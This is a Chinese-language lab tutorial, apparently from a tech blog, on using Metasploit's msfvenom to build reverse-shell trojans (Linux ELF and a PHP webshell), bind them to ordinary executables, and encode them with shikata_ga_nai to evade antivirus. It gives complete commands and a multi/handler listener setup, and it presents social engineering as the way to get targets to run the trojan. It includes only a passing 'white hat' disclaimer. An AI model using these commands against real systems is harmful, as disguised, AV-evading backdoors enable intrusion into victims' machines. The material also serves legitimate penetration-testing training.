Metasploit实现木马生成、捆绑及免杀

实验简介

在一次渗透测试的过程中,避免不了使用到社会工程学的方式来诱骗对方运行我们的木马或者点击我们准备好的恶意链接。木马的捆绑在社会工程学中是我们经常使用的手段,而为了躲避杀毒软件的查杀,我们又不得不对木马进行免杀处理。本次实验我们将学习如何通过Metasploit的msfvenom命令来生成木马、捆绑木马以及对木马进行免杀处理。

实验环境

Kali Linux

知识点

msfvenom 如何生成木马
msfvenom 如何捆绑木马到常用软件
msfvenom 如何对木马进行编码免杀

效果图wm

Metasploit是一个可用来发现、验证和利用漏洞的渗透测试平台,目前实验环境中Metasploit的版本是v4.12.23-dev包含了1577个exploits、907个auxiliary、272个post、455个payloads、39个encoders以及8个nops。

其中exploits是漏洞利用模块(也叫渗透攻击模块),auxiliary是辅助模块,post是后渗透攻击模块,payloads是攻击载荷也就是我们常说的shellcode,这里生成的木马其实就是payloads。

在本次试验中我们主要使用的是msfpayload(攻击荷载生成器),msfencoder(编码器)的替代品msfvenom,msfvenom集成了前两者的全部功能,可以生成payload(本节所说的木马)以及对payload编码免杀和避免坏字符、捆绑木马等。在Kali Linux中默认安装了Metasploit framework 我们可以直接使用。

在进行木马生成实验之前我们先来学习一下msfvenom命令的用法。在 Kali linux 下输入如下命令,可以看到msfvenom的命令行选项。

$ cd /usr/bin
$ ./msfvenom -h

Options:

-p, --payload       <payload>    Payload to use. Specify a '-' or stdin to use custom payloads
    --payload-options            List the payload's standard options
-l, --list          [type]       List a module type. Options are: payloads, encoders, nops, all
-n, --nopsled       <length>     Prepend a nopsled of [length] size on to the payload
-f, --format        <format>     Output format (use --help-formats for a list)
    --help-formats               List available formats
-e, --encoder       <encoder>    The encoder to use
-a, --arch          <arch>       The architecture to use
    --platform      <platform>   The platform of the payload
    --help-platforms             List available platforms
-s, --space         <length>     The maximum size of the resulting payload
    --encoder-space <length>     The maximum size of the encoded payload (defaults to the -s value)
-b, --bad-chars     <list>       The list of characters to avoid example: '\x00\xff'
-i, --iterations    <count>      The number of times to encode the payload
-c, --add-code      <path>       Specify an additional win32 shellcode file to include
-x, --template      <path>       Specify a custom executable file to use as a template
-k, --keep                       Preserve the template behavior and inject the payload as a new thread
-o, --out           <path>       Save the payload
-v, --var-name      <name>       Specify a custom variable name to use for certain output formats
    --smallest                   Generate the smallest possible payload
-h, --help                       Show this message

这里我们主要用到-p、-f和-o选项,下面我们分别来介绍一下它们的含义及用法。

-p选项:用来指定需要使用的payload,可以指定'-'或者stdin来自定义payload。如果不知道payload都包括哪些选项可以使用--payload-options列出payload的标准选项。
-f选项:用来指定payload的输出格式,可以使用--help-formats来列出可选的格式。
-o选项:用来指定输出的payload的保存路径,这里我们也可以采用重定向的方式来替代-o选项。
在生成木马之前我们先使用-l选项来列出指定模块的所有可用资源(模块类型包括: payloads, encoders, nops, all)。这里我们指定payloads模块来查看都有哪些可用的木马。

$ msfvenom -l payloads

根据上面各个选项的解释,现在我们就用选择好的payload来生成linux下的木马程序吧!输入命令如下:

$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.122.101 -f elf -o /root/payload.elf

命令执行完毕后木马就生成了,在上面的命令中我们使用-p选项指定了payload并设置了监听主机的ip地址,由于默认这个payload设置监听端口为4444,所以我们这里没有设置监听端口,需要更改监听端口可以设置LPORT参数。

通常我们生成了木马之后,要运用社会工程学的攻击方式诱骗目标运行我们的木马程序,否则我们的木马只是玩具罢了,记住:“没人运行的木马不是好木马”。这里我们就来学习一下如何将木马捆绑到一个常用的应用程序上,这样我们就可以上传到某些地方来诱骗目标下载并运行我们的木马程序(记住不要拿这个来做坏事,我们要做个正直的白帽子)。

捆绑木马我们还是使用上面提到的msfvenom命令,只不过这里我们要用到一个新的命令行选项-x。我们来看一下-x选项的用法及含义。

-x选项:允许我们指定一个自定义的可执行文件作为模板,也就是将木马捆绑到这个可执行文件上。

为了方便演示,我们就将上一节生成的木马当做常用应用程序来捆绑木马。

$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.122.101 -f elf -x /root/payload.elf -o /root/payload_backdoor.elf

虽然我们已经准备好了木马程序,并且也捆绑到了常用的应用程序上,但是现在杀毒软件泛滥,不经过免杀就算成功上传到目标主机,估计还没等运行就被杀掉了。这里用msfvenom生成木马同时对payload编码来实现木马的简单免杀。我们先来学习一下我们要用到的命令选项:

-e选项:用来指定要使用的编码器。
-i选项:用来指定对payload编码的次数。
先来看一下都有哪些编码器可用:

$ msfvenom -l encoders

这里我们挑选一个免杀效果比较好的编码器x86/shikata_ga_nai,进行编码:

$ cd /usr/share
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.122.101 -e x86/shikata_ga_nai -i 5 -f elf -o /root/payload_encoder.elf

这样木马基本上就可以躲避部分杀毒软件的查杀,其实还可以对木马程序进行多次编码,虽然可以提高木马的免杀几率,不过可能会导致木马程序不可用。当然要想免杀效果更好就需要使用Metasploit pro版本或者给木马加壳、修改木马的特征码等等,不过要想躲过全部杀毒软件的查杀则会有些难度,通常会针对某个杀毒软件进行免杀。

实战

1、php环境

生成php马
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.160 LPORT=4444 -f raw
将生成的php马传至被测服务器
开启msfconsole进行监听

msfconsole
use exploit/multi/handler
set lhost lport等
set payload php/meterpreter/reverse_tcp
exploit
10 声望
3 粉丝
0 条评论
推荐阅读
Docker逃逸
Docker逃逸在渗透测试中面向的场景大概是这样,渗透拿到shell后,发现主机是docker环境,要进一步渗透,就必须逃逸到“直接宿主机”。甚至还有物理机运行虚拟机,虚拟机运行Docker容器的情况。那就还要虚拟机逃逸了...

白风之下阅读 484

使用kubeasz部署高可用kubernetes集群
本实验采用kubeasz作为kubernetes环境部署工具,它是一个基于二进制方式部署和利用ansible-playbook实现自动化来快速部署高可用kubernetes集群的工具,详细介绍请查看kubeasz官方。本实验用到的所有虚拟机默认软...

李朝阳4阅读 789

麒麟操作系统 (kylinos) 从入门到精通 - 故障排查篇
OS平台:银河麒麟桌面操作系统(飞腾版)V10 SP1操作系统镜像:Kylin-Desktop-V10-SP1-General-Release-2203-ARM64

Oulaa3阅读 1.6k

封面图
linux中用户登录加载配置文件的过程
shell的类型(站在用户登录登录的角度)登录式shell正常通过某终端登录su - USERNAMEsu -l USERNAME非登录式shellsu USERNAME图形终端下打开命令窗口自动执行的shell脚本用户登录时相关的bash配置文件全局配置文件/...

Dabric阅读 5.3k评论 3

在Linux上查看活跃线程数与连接数
现如今,有两种常见的软件资源几乎成了Java后端程序的标配,即线程池与连接池,但这些池化资源非常的重要,一旦不够用了,就会导致程序阻塞、性能低下,所以有时我们需要看看它们的使用情况,以判断这里是否是瓶颈。

扣钉日记3阅读 1.1k

封面图
Ubuntu 20.04 搭建 Elasticsearch 7.x 小集群(qbit)
环境ES 节点硬件:3 台 AWS m5.4xlarge(16 vCPU/64GB 内存)Kibana 硬件:1 台 AWS m5.large(2 vCPU/8GB 内存)操作系统:Ubuntu 20.04 LTSElasticsearch 7.9.3Kibana 7.9.3机器示意图操作系统这里主要讲 EBS ...

qbit阅读 3.8k

9个超有用的 Linux Touch 命令实例讲解
touch 命令用于创建空文件,也用于更改 Linux 系统中现有文件的时间戳。这里更改时间戳意味着更新文件和目录的访问和修改时间。命令语法touch {options} {file}语法选项1) 创建一个空文件touch 命令创建一个空文...

鸠摩智首席音效师1阅读 1.7k

10 声望
3 粉丝
宣传栏